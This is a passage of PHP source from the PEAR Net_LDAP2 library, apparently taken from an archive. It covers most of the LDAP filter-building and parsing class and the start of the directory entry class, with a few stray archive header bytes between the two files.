* $filter_comp = Net_LDAP2_Filter::combine('or',array($filter_not0, $filter1, $filter2));
*
* echo $filter_comp->asString();
* // This will output: (|(!(stars=\0x5c0x2a\0x5c0x2a\0x5c0x2a))(gn=bar*)(gn=*baz))
* // The stars in $filter0 are treaten as real stars unless you disable escaping.
* </code>
*
* @category Net
* @package  Net_LDAP2
* @author   Benedikt Hallinger <beni@php.net>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL
* @link     http://pear.php.net/package/Net_LDAP2/
*/
class Net_LDAP2_Filter extends PEAR
{
    /**
    * Storage for combination of filters
    *
    * This variable holds a array of filter objects
    * that should be combined by this filter object.
    *
    * @access protected
    * @var array
    */
    protected $_subfilters = array();

    /**
    * Match of this filter
    *
    * If this is a leaf filter, then a matching rule is stored,
    * if it is a container, then it is a logical operator
    *
    * @access protected
    * @var string
    */
    protected $_match;

    /**
    * Single filter
    *
    * If we operate in leaf filter mode,
    * then the constructing method stores
    * the filter representation here
    *
    * @acces private
    * @var string
    */
    protected $_filter;

    /**
    * Create a new Net_LDAP2_Filter object and parse $filter.
    *
    * This is for PERL Net::LDAP interface.
    * Construction of Net_LDAP2_Filter objects should happen through either
    * {@link create()} or {@link combine()} which give you more control.
    * However, you may use the perl iterface if you already have generated filters.
    *
    * @param string $filter LDAP filter string
    *
    * @see parse()
    */
    public function __construct($filter = false)
    {
        // The optional parameter must remain here, because otherwise create() crashes
        if (false !== $filter) {
            $filter_o = self::parse($filter);
            if (PEAR::isError($filter_o)) {
                $this->_filter = $filter_o; // assign error, so asString() can report it
            } else {
                $this->_filter = $filter_o->asString();
            }
        }
    }

    /**
    * Constructor of a new part of a LDAP filter.
    *
    * The following matching rules exists:
    *    - equals:         One of the attributes values is exactly $value
    *                      Please note that case sensitiviness is depends on the
    *                      attributes syntax configured in the server.
    *    - begins:         One of the attributes values must begin with $value
    *    - ends:           One of the attributes values must end with $value
    *    - contains:       One of the attributes values must contain $value
    *    - present | any:  The attribute can contain any value but must be existent
    *    - greater:        The attributes value is greater than $value
    *    - less:           The attributes value is less than $value
    *    - greaterOrEqual: The attributes value is greater or equal than $value
    *    - lessOrEqual:    The attributes value is less or equal than $value
    *    - approx:         One of the attributes values is similar to $value
    *
    * Negation ("not") can be done by prepending the above operators with the
    * "not" or "!" keyword, see example below. 
    *
    * If $escape is set to true (default) then $value will be escaped
    * properly. If it is set to false then $value will be treaten as raw filter value string.
    * You should escape yourself using {@link Net_LDAP2_Util::escape_filter_value()}!
    *
    * Examples:
    * <code>
    *   // This will find entries that contain an attribute "sn" that ends with "foobar":
    *   $filter = Net_LDAP2_Filter::create('sn', 'ends', 'foobar');
    *
    *   // This will find entries that contain an attribute "sn" that has any value set:
    *   $filter = Net_LDAP2_Filter::create('sn', 'any');
    *
    *   // This will build a negated equals filter:
    *   $filter = Net_LDAP2_Filter::create('sn', 'not equals', 'foobar');
    * </code>
    *
    * @param string  $attr_name Name of the attribute the filter should apply to
    * @param string  $match     Matching rule (equals, begins, ends, contains, greater, less, greaterOrEqual, lessOrEqual, approx, any)
    * @param string  $value     (optional) if given, then this is used as a filter
    * @param boolean $escape    Should $value be escaped? (default: yes, see {@link Net_LDAP2_Util::escape_filter_value()} for detailed information)
    *
    * @return Net_LDAP2_Filter|Net_LDAP2_Error
    */
    public static function create($attr_name, $match, $value = '', $escape = true)
    {
        $leaf_filter = new Net_LDAP2_Filter();
        if ($escape) {
            $array = Net_LDAP2_Util::escape_filter_value(array($value));
            $value = $array[0];
        }

        $match = strtolower($match);

        // detect negation
        $neg_matches   = array();
        $negate_filter = false;
        if (preg_match('/^(?:not|!)[\s_-](.+)/', $match, $neg_matches)) {
            $negate_filter = true;
            $match         = $neg_matches[1];
        }

        // build basic filter
        switch ($match) {
        case 'equals':
        case '=':
        case '==':
            $leaf_filter->_filter = '(' . $attr_name . '=' . $value . ')';
            break;
        case 'begins':
            $leaf_filter->_filter = '(' . $attr_name . '=' . $value . '*)';
            break;
        case 'ends':
            $leaf_filter->_filter = '(' . $attr_name . '=*' . $value . ')';
            break;
        case 'contains':
            $leaf_filter->_filter = '(' . $attr_name . '=*' . $value . '*)';
            break;
        case 'greater':
        case '>':
            $leaf_filter->_filter = '(' . $attr_name . '>' . $value . ')';
            break;
        case 'less':
        case '<':
            $leaf_filter->_filter = '(' . $attr_name . '<' . $value . ')';
            break;
        case 'greaterorequal':
        case '>=':
            $leaf_filter->_filter = '(' . $attr_name . '>=' . $value . ')';
            break;
        case 'lessorequal':
        case '<=':
            $leaf_filter->_filter = '(' . $attr_name . '<=' . $value . ')';
            break;
        case 'approx':
        case '~=':
            $leaf_filter->_filter = '(' . $attr_name . '~=' . $value . ')';
            break;
        case 'any':
        case 'present': // alias that may improve user code readability
            $leaf_filter->_filter = '(' . $attr_name . '=*)';
            break;
        default:
            return PEAR::raiseError('Net_LDAP2_Filter create error: matching rule "' . $match . '" not known!');
        }
        
        // negate if requested
        if ($negate_filter) {
           $leaf_filter = Net_LDAP2_Filter::combine('!', $leaf_filter);
        }

        return $leaf_filter;
    }

    /**
    * Combine two or more filter objects using a logical operator
    *
    * This static method combines two or more filter objects and returns one single
    * filter object that contains all the others.
    * Call this method statically: $filter = Net_LDAP2_Filter::combine('or', array($filter1, $filter2))
    * If the array contains filter strings instead of filter objects, we will try to parse them.
    *
    * @param string                 $log_op  The locical operator. May be "and", "or", "not" or the subsequent logical equivalents "&", "|", "!"
    * @param array|Net_LDAP2_Filter $filters array with Net_LDAP2_Filter objects
    *
    * @return Net_LDAP2_Filter|Net_LDAP2_Error
    * @static
    */
    public static function &combine($log_op, $filters)
    {
        if (PEAR::isError($filters)) {
            return $filters;
        }

        // substitude named operators to logical operators
        if ($log_op == 'and') $log_op = '&';
        if ($log_op == 'or')  $log_op = '|';
        if ($log_op == 'not') $log_op = '!';

        // tests for sane operation
        if ($log_op == '!') {
            // Not-combination, here we only accept one filter object or filter string
            if ($filters instanceof Net_LDAP2_Filter) {
                $filters = array($filters); // force array
            } elseif (is_string($filters)) {
                $filter_o = self::parse($filters);
                if (PEAR::isError($filter_o)) {
                    $err = PEAR::raiseError('Net_LDAP2_Filter combine error: '.$filter_o->getMessage());
                    return $err;
                } else {
                    $filters = array($filter_o);
                }
            } elseif (is_array($filters)) {
                if (count($filters) != 1) {
                    $err = PEAR::raiseError('Net_LDAP2_Filter combine error: operator is "not" but $filter is an array!');
                    return $err;
                } elseif (!($filters[0] instanceof Net_LDAP2_Filter)) {
                     $err = PEAR::raiseError('Net_LDAP2_Filter combine error: operator is "not" but $filter is not a valid Net_LDAP2_Filter nor a filter string!');
                     return $err;
                }
            } else {
                $err = PEAR::raiseError('Net_LDAP2_Filter combine error: operator is "not" but $filter is not a valid Net_LDAP2_Filter nor a filter string!');
                return $err;
            }
        } elseif ($log_op == '&' || $log_op == '|') {
            if (!is_array($filters) || count($filters) < 2) {
                $err = PEAR::raiseError('Net_LDAP2_Filter combine error: parameter $filters is not an array or contains less than two Net_LDAP2_Filter objects!');
                return $err;
            }
        } else {
            $err = PEAR::raiseError('Net_LDAP2_Filter combine error: logical operator is not known!');
            return $err;
        }

        $combined_filter = new Net_LDAP2_Filter();
        foreach ($filters as $key => $testfilter) {     // check for errors
            if (PEAR::isError($testfilter)) {
                return $testfilter;
            } elseif (is_string($testfilter)) {
                // string found, try to parse into an filter object
                $filter_o = self::parse($testfilter);
                if (PEAR::isError($filter_o)) {
                    return $filter_o;
                } else {
                    $filters[$key] = $filter_o;
                }
            } elseif (!$testfilter instanceof Net_LDAP2_Filter) {
                $err = PEAR::raiseError('Net_LDAP2_Filter combine error: invalid object passed in array $filters!');
                return $err;
            }
        }

        $combined_filter->_subfilters = $filters;
        $combined_filter->_match      = $log_op;
        return $combined_filter;
    }

    /**
    * Parse FILTER into a Net_LDAP2_Filter object
    *
    * This parses an filter string into Net_LDAP2_Filter objects.
    *
    * @param string $FILTER The filter string
    *
    * @access static
    * @return Net_LDAP2_Filter|Net_LDAP2_Error
    * @todo Leaf-mode: Do we need to escape at all? what about *-chars?check for the need of encoding values, tackle problems (see code comments)
    */
    public static function parse($FILTER)
    {
        if (preg_match('/^\((.+?)\)$/', $FILTER, $matches)) {
            // Check for right bracket syntax: count of unescaped opening
            // brackets must match count of unescaped closing brackets.
            // At this stage we may have:
            //   1. one filter component with already removed outer brackets
            //   2. one or more subfilter components
            $c_openbracks  = preg_match_all('/(?<!\\\\)\(/' , $matches[1], $notrelevant);
            $c_closebracks = preg_match_all('/(?<!\\\\)\)/' , $matches[1], $notrelevant);
            if ($c_openbracks != $c_closebracks) {
                return PEAR::raiseError("Filter parsing error: invalid filter syntax - opening brackets do not match close brackets!");
            }

            if (in_array(substr($matches[1], 0, 1), array('!', '|', '&'))) {
                // Subfilter processing: pass subfilters to parse() and combine
                // the objects using the logical operator detected
                // we have now something like "&(...)(...)(...)" but at least one part ("!(...)").
                // Each subfilter could be an arbitary complex subfilter.

                // extract logical operator and filter arguments
                $log_op              = substr($matches[1], 0, 1);
                $remaining_component = substr($matches[1], 1);

                // split $remaining_component into individual subfilters
                // we cannot use split() for this, because we do not know the
                // complexiness of the subfilter. Thus, we look trough the filter
                // string and just recognize ending filters at the first level.
                // We record the index number of the char and use that information
                // later to split the string.
                $sub_index_pos = array();
                $prev_char     = ''; // previous character looked at
                $level         = 0;  // denotes the current bracket level we are,
                                     //   >1 is too deep, 1 is ok, 0 is outside any
                                     //   subcomponent
                for ($curpos = 0; $curpos < strlen($remaining_component); $curpos++) {
                    $cur_char = substr($remaining_component, $curpos, 1);

                    // rise/lower bracket level
                    if ($cur_char == '(' && $prev_char != '\\') {
                        $level++;
                    } elseif  ($cur_char == ')' && $prev_char != '\\') {
                        $level--;
                    }

                    if ($cur_char == '(' && $prev_char == ')' && $level == 1) {
                        array_push($sub_index_pos, $curpos); // mark the position for splitting
                    }
                    $prev_char = $cur_char;
                }

                // now perform the splits. To get also the last part, we
                // need to add the "END" index to the split array
                array_push($sub_index_pos, strlen($remaining_component));
                $subfilters = array();
                $oldpos = 0;
                foreach ($sub_index_pos as $s_pos) {
                    $str_part = substr($remaining_component, $oldpos, $s_pos - $oldpos);
                    array_push($subfilters, $str_part);
                    $oldpos = $s_pos;
                }

                // some error checking...
                if (count($subfilters) == 1) {
                    // only one subfilter found
                } elseif (count($subfilters) > 1) {
                    // several subfilters found
                    if ($log_op == "!") {
                        return PEAR::raiseError("Filter parsing error: invalid filter syntax - NOT operator detected but several arguments given!");
                    }
                } else {
                    // this should not happen unless the user specified a wrong filter
                    return PEAR::raiseError("Filter parsing error: invalid filter syntax - got operator '$log_op' but no argument!");
                }

                // Now parse the subfilters into objects and combine them using the operator
                $subfilters_o = array();
                foreach ($subfilters as $s_s) {
                    $o = self::parse($s_s);
                    if (PEAR::isError($o)) {
                        return $o;
                    } else {
                        array_push($subfilters_o, self::parse($s_s));
                    }
                }

                $filter_o = self::combine($log_op, $subfilters_o);
                return $filter_o;

            } else {
                // This is one leaf filter component, do some syntax checks, then escape and build filter_o
                // $matches[1] should be now something like "foo=bar"

                // detect multiple leaf components
                // [TODO] Maybe this will make problems with filters containing brackets inside the value
                if (stristr($matches[1], ')(')) {
                    return PEAR::raiseError("Filter parsing error: invalid filter syntax - multiple leaf components detected!");
                } else {
                    $filter_parts = Net_LDAP2_Util::split_attribute_string($matches[1], true, true);
                    if (count($filter_parts) != 3) {
                        return PEAR::raiseError("Filter parsing error: invalid filter syntax - unknown matching rule used");
                    } else {
                        $filter_o          = new Net_LDAP2_Filter();
                        // [TODO]: Do we need to escape at all? what about *-chars user provide and that should remain special?
                        //         I think, those prevent escaping! We need to check against PERL Net::LDAP!
                        // $value_arr         = Net_LDAP2_Util::escape_filter_value(array($filter_parts[2]));
                        // $value             = $value_arr[0];
                        $value             = $filter_parts[2];
                        $filter_o->_filter = '('.$filter_parts[0].$filter_parts[1].$value.')';
                        return $filter_o;
                    }
                }
            }
        } else {
               // ERROR: Filter components must be enclosed in round brackets
               return PEAR::raiseError("Filter parsing error: invalid filter syntax - filter components must be enclosed in round brackets");
        }
    }

    /**
    * Get the string representation of this filter
    *
    * This method runs through all filter objects and creates
    * the string representation of the filter. If this
    * filter object is a leaf filter, then it will return
    * the string representation of this filter.
    *
    * @return string|Net_LDAP2_Error
    */
    public function asString()
    {
        if ($this->isLeaf()) {
            $return = $this->_filter;
        } else {
            $return = '';
            foreach ($this->_subfilters as $filter) {
                $return = $return.$filter->asString();
            }
            $return = '(' . $this->_match . $return . ')';
        }
        return $return;
    }

    /**
    * Alias for perl interface as_string()
    *
    * @see asString()
    * @return string|Net_LDAP2_Error
    */
    public function as_string()
    {
        return $this->asString();
    }

    /**
    * Print the text representation of the filter to FH, or the currently selected output handle if FH is not given
    *
    * This method is only for compatibility to the perl interface.
    * However, the original method was called "print" but due to PHP language restrictions,
    * we can't have a print() method.
    *
    * @param resource $FH (optional) A filehandle resource
    *
    * @return true|Net_LDAP2_Error
    */
    public function printMe($FH = false)
    {
        if (!is_resource($FH)) {
            if (PEAR::isError($FH)) {
                return $FH;
            }
            $filter_str = $this->asString();
            if (PEAR::isError($filter_str)) {
                return $filter_str;
            } else {
                print($filter_str);
            }
        } else {
            $filter_str = $this->asString();
            if (PEAR::isError($filter_str)) {
                return $filter_str;
            } else {
                $res = @fwrite($FH, $this->asString());
                if ($res == false) {
                    return PEAR::raiseError("Unable to write filter string to filehandle \$FH!");
                }
            }
        }
        return true;
    }

    /**
    * This can be used to escape a string to provide a valid LDAP-Filter.
    *
    * LDAP will only recognise certain characters as the
    * character istself if they are properly escaped. This is
    * what this method does.
    * The method can be called statically, so you can use it outside
    * for your own purposes (eg for escaping only parts of strings)
    *
    * In fact, this is just a shorthand to {@link Net_LDAP2_Util::escape_filter_value()}.
    * For upward compatibiliy reasons you are strongly encouraged to use the escape
    * methods provided by the Net_LDAP2_Util class.
    *
    * @param string $value Any string who should be escaped
    *
    * @static
    * @return string         The string $string, but escaped
    * @deprecated  Do not use this method anymore, instead use Net_LDAP2_Util::escape_filter_value() directly
    */
    public static function escape($value)
    {
        $return = Net_LDAP2_Util::escape_filter_value(array($value));
        return $return[0];
    }

    /**
    * Is this a container or a leaf filter object?
    *
    * @access protected
    * @return boolean
    */
    protected function isLeaf()
    {
        if (count($this->_subfilters) > 0) {
            return false; // Container!
        } else {
            return true; // Leaf!
        }
    }

    /**
    * Filter entries using this filter or see if a filter matches
    *
    * @todo Currently slow and naive implementation with preg_match, could be optimized (esp. begins, ends filters etc)
    * @todo Currently only "="-based matches (equals, begins, ends, contains, any) implemented; Implement all the stuff!
    * @todo Implement expert code with schema checks in case $entry is connected to a directory
    * @param array|Net_LDAP2_Entry The entry (or array with entries) to check
    * @param array                 If given, the array will be appended with entries who matched the filter. Return value is true if any entry matched.
    * @return int|Net_LDAP2_Error Returns the number of matched entries or error
    */
    function matches(&$entries, &$results=array()) {
        $numOfMatches = 0;

        if (!is_array($entries)) {
            $all_entries = array(&$entries);
        } else {
            $all_entries = &$entries;
        }

        foreach ($all_entries as $entry) {
            // look at the current entry and see if filter matches

            $entry_matched = false;
            // if this is not a single component, do calculate all subfilters,
            // then assert the partial results with the given combination modifier
            if (!$this->isLeaf()) {
        
                // get partial results from subfilters
                $partial_results = array();
                foreach ($this->_subfilters as $filter) {
                    $partial_results[] = $filter->matches($entry);
                }
            
                // evaluate partial results using this filters combination rule
                switch ($this->_match) {
                    case '!':
                        // result is the neagtive result of the assertion
                        $entry_matched = !$partial_results[0];
                    break;

                    case '&':
                        // all partial results have to be boolean-true
                        $entry_matched = !in_array(false, $partial_results);
                    break;
                
                    case '|':
                        // at least one partial result has to be true
                        $entry_matched = in_array(true, $partial_results);
                    break;
                }
            
            } else {
                // Leaf filter: assert given entry
                // [TODO]: Could be optimized to avoid preg_match especially with "ends", "begins" etc
            
                // Translate the LDAP-match to some preg_match expression and evaluate it
                list($attribute, $match, $assertValue) = $this->getComponents();
                switch ($match) {
                    case '=':
                        $regexp = '/^'.str_replace('*', '.*', $assertValue).'$/i'; // not case sensitive unless specified by schema
                        $entry_matched = $entry->pregMatch($regexp, $attribute);
                    break;
                
                    // -------------------------------------
                    // [TODO]: implement <, >, <=, >= and =~
                    // -------------------------------------
                
                    default:
                        $err = PEAR::raiseError("Net_LDAP2_Filter match error: unsupported match rule '$match'!");
                        return $err;
                }
            
            }

            // process filter matching result
            if ($entry_matched) {
                $numOfMatches++;
                $results[] = $entry;
            }

        }

        return $numOfMatches;
    }


    /**
    * Retrieve this leaf-filters attribute, match and value component.
    *
    * For leaf filters, this returns array(attr, match, value).
    * Match is be the logical operator, not the text representation,
    * eg "=" instead of "equals". Note that some operators are really
    * a combination of operator+value with wildcard, like
    * "begins": That will return "=" with the value "value*"!
    *
    * For non-leaf filters this will drop an error.
    *
    * @todo $this->_match is not always available and thus not usable here; it would be great if it would set in the factory methods and constructor.
    * @return array|Net_LDAP2_Error
    */
    function getComponents() {
        if ($this->isLeaf()) {
            $raw_filter = preg_replace('/^\(|\)$/', '', $this->_filter);
            $parts = Net_LDAP2_Util::split_attribute_string($raw_filter, true, true);
            if (count($parts) != 3) {
                return PEAR::raiseError("Net_LDAP2_Filter getComponents() error: invalid filter syntax - unknown matching rule used");
            } else {
                return $parts;
            }
        } else {
            return PEAR::raiseError('Net_LDAP2_Filter getComponents() call is invalid for non-leaf filters!');
        }
    }


}
?>
PK
h�\�����)vendor/pear/net_ldap2/Net/LDAP2/Entry.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
* File containing the Net_LDAP2_Entry interface class.
*
* PHP version 5
*
* @category  Net
* @package   Net_LDAP2
* @author    Jan Wagner <wagner@netsols.de>
* @author    Tarjej Huse <tarjei@bergfald.no>
* @author    Benedikt Hallinger <beni@php.net>
* @copyright 2009 Tarjej Huse, Jan Wagner, Benedikt Hallinger
* @license   http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3
* @version   SVN: $Id$
* @link      http://pear.php.net/package/Net_LDAP2/
*/

/**
* Includes
*/
require_once 'PEAR.php';
require_once 'Net/LDAP2/Util.php';

/**
* Object representation of a directory entry
*
* This class represents a directory entry. You can add, delete, replace
* attributes and their values, rename the entry, delete the entry.
*
* @category Net
* @package  Net_LDAP2
* @author   Jan Wagner <wagner@netsols.de>
* @author   Tarjej Huse <tarjei@bergfald.no>
* @author   Benedikt Hallinger <beni@php.net>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL
* @link     http://pear.php.net/package/Net_LDAP2/
*/
class Net_LDAP2_Entry extends PEAR
{
    /**
    * Entry ressource identifier
    *
    * @access protected
    * @var ressource
    */
    protected $_entry = null;

    /**
    * LDAP ressource identifier
    *
    * @access protected
    * @var ressource
    */
    protected $_link = null;

    /**
    * Net_LDAP2 object
    *
    * This object will be used for updating and schema checking
    *
    * @access protected
    * @var object Net_LDAP2
    */
    protected $_ldap = null;

    /**
    * Distinguished name of the entry
    *
    * @access protected
    * @var string
    */
    protected $_dn = null;

    /**
    * Attributes
    *
    * @access protected
    * @var array
    */
    protected $_attributes = array();

    /**
    * Original attributes before any modification
    *
    * @access protected
    * @var array
    */
    protected $_original = array();


    /**
    * Map of attribute names
    *
    * @access protected
    * @var array
    */
    protected $_map = array();


    /**
    * Is this a new entry?
    *
    * @access protected
    * @var boolean
    */
    protected $_new = true;

    /**
    * New distinguished name
    *
    * @access protected
    * @var string
    */
    protected $_newdn = null;

    /**
    * Shall the entry be deleted?
    *
    * @access protected
    * @var boolean
    */
    protected $_delete = false;

    /**
    * Map with changes to the entry
    *
    * @access protected
    * @var array
    */
    protected $_changes = array("add"     => array(),
                                "delete"  => array(),
                                "replace" => array()
                               );
    /**
    * Internal Constructor
    *
    * Constructor of the entry. Sets up the distinguished name and the entries
    * attributes.
    * You should not call this method manually! Use {@link Net_LDAP2_Entry::createFresh()}
    * or {@link Net_LDAP2_Entry::createConnected()} instead!
    *
    * @param Net_LDAP2|ressource|array $ldap Net_LDAP2 object, ldap-link ressource or array of attributes
    * @param string|ressource          $entry Either a DN or a LDAP-Entry ressource
    *
    * @access protected
    * @return none
    */
    public function __construct($ldap, $entry = null)
    {
        parent::__construct('Net_LDAP2_Error');

        // set up entry resource or DN
        if (is_resource($entry) || $entry instanceof \LDAP\ResultEntry) {
            $this->_entry = $entry;
        } else {
            $this->_dn = $entry;
        }

        // set up LDAP link
        if ($ldap instanceof Net_LDAP2) {
            $this->_ldap = $ldap;
            $this->_link = $ldap->getLink();
        } elseif (is_resource($ldap) || $ldap instanceof \LDAP\Connection) {
            $this->_link = $ldap;
        } elseif (is_array($ldap)) {
            // Special case: here $ldap is an array of attributes,
            // this means, we have no link. This is a "virtual" entry.
            // We just set up the attributes so one can work with the object
            // as expected, but an update() fails unless setLDAP() is called.
            $this->setAttributes($ldap);
        }

        // if this is an entry existing in the directory,
        // then set up as old and fetch attrs
        if ((is_resource($this->_entry) || $this->_entry instanceof \LDAP\ResultEntry)
            && (is_resource($this->_link) || $this->_link instanceof \LDAP\Connection)
        ) {
            $this->_new = false;
            $this->_dn  = @ldap_get_dn($this->_link, $this->_entry);
            $this->setAttributes();  // fetch attributes from server
        }
    }

    /**
    * Creates a fresh entry that may be added to the directory later on
    *
    * Use this method, if you want to initialize a fresh entry.
    *
    * The method should be called statically: $entry = Net_LDAP2_Entry::createFresh();
    * You should put a 'objectClass' attribute into the $attrs so the directory server
    * knows which object you want to create. However, you may omit this in case you
    * don't want to add this entry to a directory server.
    *
    * The attributes parameter is as following:
    * <code>
    * $attrs = array( 'attribute1' => array('value1', 'value2'),
    *                 'attribute2' => 'single value'
    *          );
    * </code>
    *
    * @param string $dn    DN of the Entry
    * @param array  $attrs Attributes of the entry
    *
    * @static
    * @return Net_LDAP2_Entry|Net_LDAP2_Error
    */
    public static function createFresh($dn, $attrs = array())
    {
        if (!is_array($attrs)) {
            return PEAR::raiseError("Unable to create fresh entry: Parameter \$attrs needs to be an array!");
        }

        $entry = new Net_LDAP2_Entry($attrs, $dn);
        return $entry;
    }

    /**
    * Creates a Net_LDAP2_Entry object out of an ldap entry resource
    *
    * Use this method, if you want to initialize an entry object that is
    * already present in some directory and that you have read manually.
    *
    * Please note, that if you want to create an entry object that represents
    * some already existing entry, you should use {@link createExisting()}.
    *
    * The method should be called statically: $entry = Net_LDAP2_Entry::createConnected();
    *
    * @param Net_LDAP2 $ldap  Net_LDA2 object
    * @param resource  $entry PHP LDAP entry resource
    *
    * @static
    * @return Net_LDAP2_Entry|Net_LDAP2_Error
    */
    public static function createConnected($ldap, $entry)
    {
        if (!$ldap instanceof Net_LDAP2) {
            return PEAR::raiseError("Unable to create connected entry: Parameter \$ldap needs to be a Net_LDAP2 object!");
        }
        if (!is_resource($entry) && !$entry instanceof \LDAP\ResultEntry) {
            return PEAR::raiseError("Unable to create connected entry: Parameter \$entry needs to be a ldap entry resource!");
        }

        $entry = new Net_LDAP2_Entry($ldap, $entry);
        return $entry;
    }

    /**
    * Creates an Net_LDAP2_Entry object that is considered already existing
    *
    * Use this method, if you want to modify an already existing entry
    * without fetching it first.
    * In most cases however, it is better to fetch the entry via Net_LDAP2->getEntry()!
    *
    * Please note that you should take care if you construct entries manually with this
    * because you may get weird synchronisation problems.
    * The attributes and values as well as the entry itself are considered existent
    * which may produce errors if you try to modify an entry which doesn't really exist
    * or if you try to overwrite some attribute with an value already present.
    *
    * This method is equal to calling createFresh() and after that markAsNew(FALSE).
    *
    * The method should be called statically: $entry = Net_LDAP2_Entry::createExisting();
    *
    * The attributes parameter is as following:
    * <code>
    * $attrs = array( 'attribute1' => array('value1', 'value2'),
    *                 'attribute2' => 'single value'
    *          );
    * </code>
    *
    * @param string $dn    DN of the Entry
    * @param array  $attrs Attributes of the entry
    *
    * @static
    * @return Net_LDAP2_Entry|Net_LDAP2_Error
    */
    public static function createExisting($dn, $attrs = array())
    {
        if (!is_array($attrs)) {
            return PEAR::raiseError("Unable to create entry object: Parameter \$attrs needs to be an array!");
        }

        $entry = Net_LDAP2_Entry::createFresh($dn, $attrs);
        if ($entry instanceof Net_LDAP2_Error) {
            return $entry;
        } else {
            $entry->markAsNew(false);
            return $entry;
        }
    }

    /**
    * Get or set the distinguished name of the entry
    *
    * If called without an argument the current (or the new DN if set) DN gets returned.
    * If you provide an DN, this entry is moved to the new location specified if a DN existed.
    * If the DN was not set, the DN gets initialized. Call {@link update()} to actually create
    * the new Entry in the directory.
    * To fetch the current active DN after setting a new DN but before an update(), you can use
    * {@link currentDN()} to retrieve the DN that is currently active.
    *
    * Please note that special characters (eg german umlauts) should be encoded using utf8_encode().
    * You may use {@link Net_LDAP2_Util::canonical_dn()} for properly encoding of the DN.
    *
    * @param string $dn New distinguished name
    *
    * @access public
    * @return string|true Distinguished name (or true if a new DN was provided)
    */
    public function dn($dn = null)
    {
        if (false == is_null($dn)) {
            if (is_null($this->_dn) ) {
                $this->_dn = $dn;
            } else {
                $this->_newdn = $dn;
            }
            return true;
        }
        return (isset($this->_newdn) ? $this->_newdn : $this->currentDN());
    }

    /**
    * Renames or moves the entry
    *
    * This is just a convinience alias to {@link dn()}
    * to make your code more meaningful.
    *
    * @param string $newdn The new DN
    *
    * @return true
    */
    public function move($newdn)
    {
        return $this->dn($newdn);
    }

    /**
    * Sets the internal attributes array
    *
    * This fetches the values for the attributes from the server.
    * The attribute Syntax will be checked so binary attributes will be returned
    * as binary values.
    *
    * Attributes may be passed directly via the $attributes parameter to setup this
    * entry manually. This overrides attribute fetching from the server.
    *
    * @param array $attributes Attributes to set for this entry
    *
    * @access protected
    * @return void
    */
    protected function setAttributes($attributes = null)
    {
        /*
        * fetch attributes from the server
        */
        if (is_null($attributes)
            && (is_resource($this->_entry) || $this->_entry instanceof \LDAP\ResultEntry)
            && (is_resource($this->_link) || $this->_link instanceof \LDAP\Connection)
        ) {
            // fetch schema
            if ($this->_ldap instanceof Net_LDAP2) {
                $schema = $this->_ldap->schema();
            }
            // fetch attributes
            $attributes = array();
            do {
                if (empty($attr)) {
                    $attr = @ldap_first_attribute($this->_link, $this->_entry);
                } else {
                    $attr = @ldap_next_attribute($this->_link, $this->_entry);
                }
                if ($attr) {
                    $func = 'ldap_get_values'; // standard function to fetch value

                    // Try to get binary values as binary data
                    if ($schema instanceof Net_LDAP2_Schema) {
                        if ($schema->isBinary($attr)) {
                             $func = 'ldap_get_values_len';
                        }
                    }
                    // fetch attribute value (needs error checking?)
                    $attributes[$attr] = $func($this->_link, $this->_entry, $attr);
                }
            } while ($attr);
        }

        /*
        * set attribute data directly, if passed
        */
        if (is_array($attributes) && count($attributes) > 0) {
            if (isset($attributes["count"]) && is_numeric($attributes["count"])) {
                unset($attributes["count"]);
            }
            foreach ($attributes as $k => $v) {
                // attribute names should not be numeric
                if (is_numeric($k)) {
                    continue;
                }
                // map generic attribute name to real one
                $this->_map[strtolower($k)] = $k;
                // attribute values should be in an array
                if (false == is_array($v)) {
                    $v = array($v);
                }
                // remove the value count (comes from ldap server)
                if (isset($v["count"])) {
                    unset($v["count"]);
                }
                $this->_attributes[$k] = $v;
            }
        }

        // save a copy for later use
        $this->_original = $this->_attributes;
    }

    /**
    * Get the values of all attributes in a hash
    *
    * The returned hash has the form
    * <code>array('attributename' => 'single value',
    *       'attributename' => array('value1', value2', value3'))</code>
    * Only attributes present at the entry will be returned.
    *
    * @access public
    * @return array Hash of all attributes with their values
    */
    public function getValues()
    {
        $attrs = array();
        foreach ($this->_attributes as $attr => $value) {
            $attrs[$attr] = $this->getValue($attr);
        }
        return $attrs;
    }

    /**
    * Get the value of a specific attribute
    *
    * The first parameter is the name of the attribute
    * The second parameter influences the way the value is returned:
    * 'single':  only the first value is returned as string
    * 'all':     all values are returned in an array
    * 'default': in all other cases an attribute value with a single value is
    *            returned as string, if it has multiple values it is returned
    *            as an array
    *
    * If the attribute is not set at this entry (no value or not defined in
    * schema), "false" is returned when $option is 'single', an empty string if
    * 'default', and an empty array when 'all'.
    *
    * You may use Net_LDAP2_Schema->checkAttribute() to see if the attribute
    * is defined for the objectClasses of this entry.
    *
    * @param string  $attr         Attribute name
    * @param string  $option       Option
    *
    * @access public
    * @return string|array
    */
    public function getValue($attr, $option = null)
    {
        $attr = $this->getAttrName($attr);

        // return depending on set $options
        if (!array_key_exists($attr, $this->_attributes)) {
            // attribute not set
            switch ($option) {
                case 'single':
                    $value = false;
                break;
                case 'all':
                    $value = array();
                break;
                default:
                    $value = '';
            }

        } else {
            // attribute present
            switch ($option) {
                case 'single':
                    $value = $this->_attributes[$attr][0];
                break;
                case 'all':
                    $value = $this->_attributes[$attr];
                break;
                default:
                    $value = $this->_attributes[$attr];
                    if (count($value) == 1) {
                        $value = array_shift($value);
                    }
            }

        }

        return $value;
    }

    /**
    * Alias function of getValue for perl-ldap interface
    *
    * @see getValue()
    * @return string|array|PEAR_Error
    */
    public function get_value()
    {
        $args = func_get_args();
        return call_user_func_array(array( $this, 'getValue' ), $args);
    }

    /**
    * Returns an array of attributes names
    *
    * @access public
    * @return array Array of attribute names
    */
    public function attributes()
    {
        return array_keys($this->_attributes);
    }

    /**
    * Returns whether an attribute exists or not
    *
    * @param string $attr Attribute name
    *
    * @access public
    * @return boolean
    */
    public function exists($attr)
    {
        $attr = $this->getAttrName($attr);
        return array_key_exists($attr, $this->_attributes);
    }

    /**
    * Adds a new attribute or a new value to an existing attribute
    *
    * The paramter has to be an array of the form:
    * array('attributename' => 'single value',
    *       'attributename' => array('value1', 'value2))
    * When the attribute already exists the values will be added, else the
    * attribute will be created. These changes are local to the entry and do
    * not affect the entry on the server until update() is called.
    *
    * Note, that you can add values of attributes that you haven't selected, but if
    * you do so, {@link getValue()} and {@link getValues()} will only return the
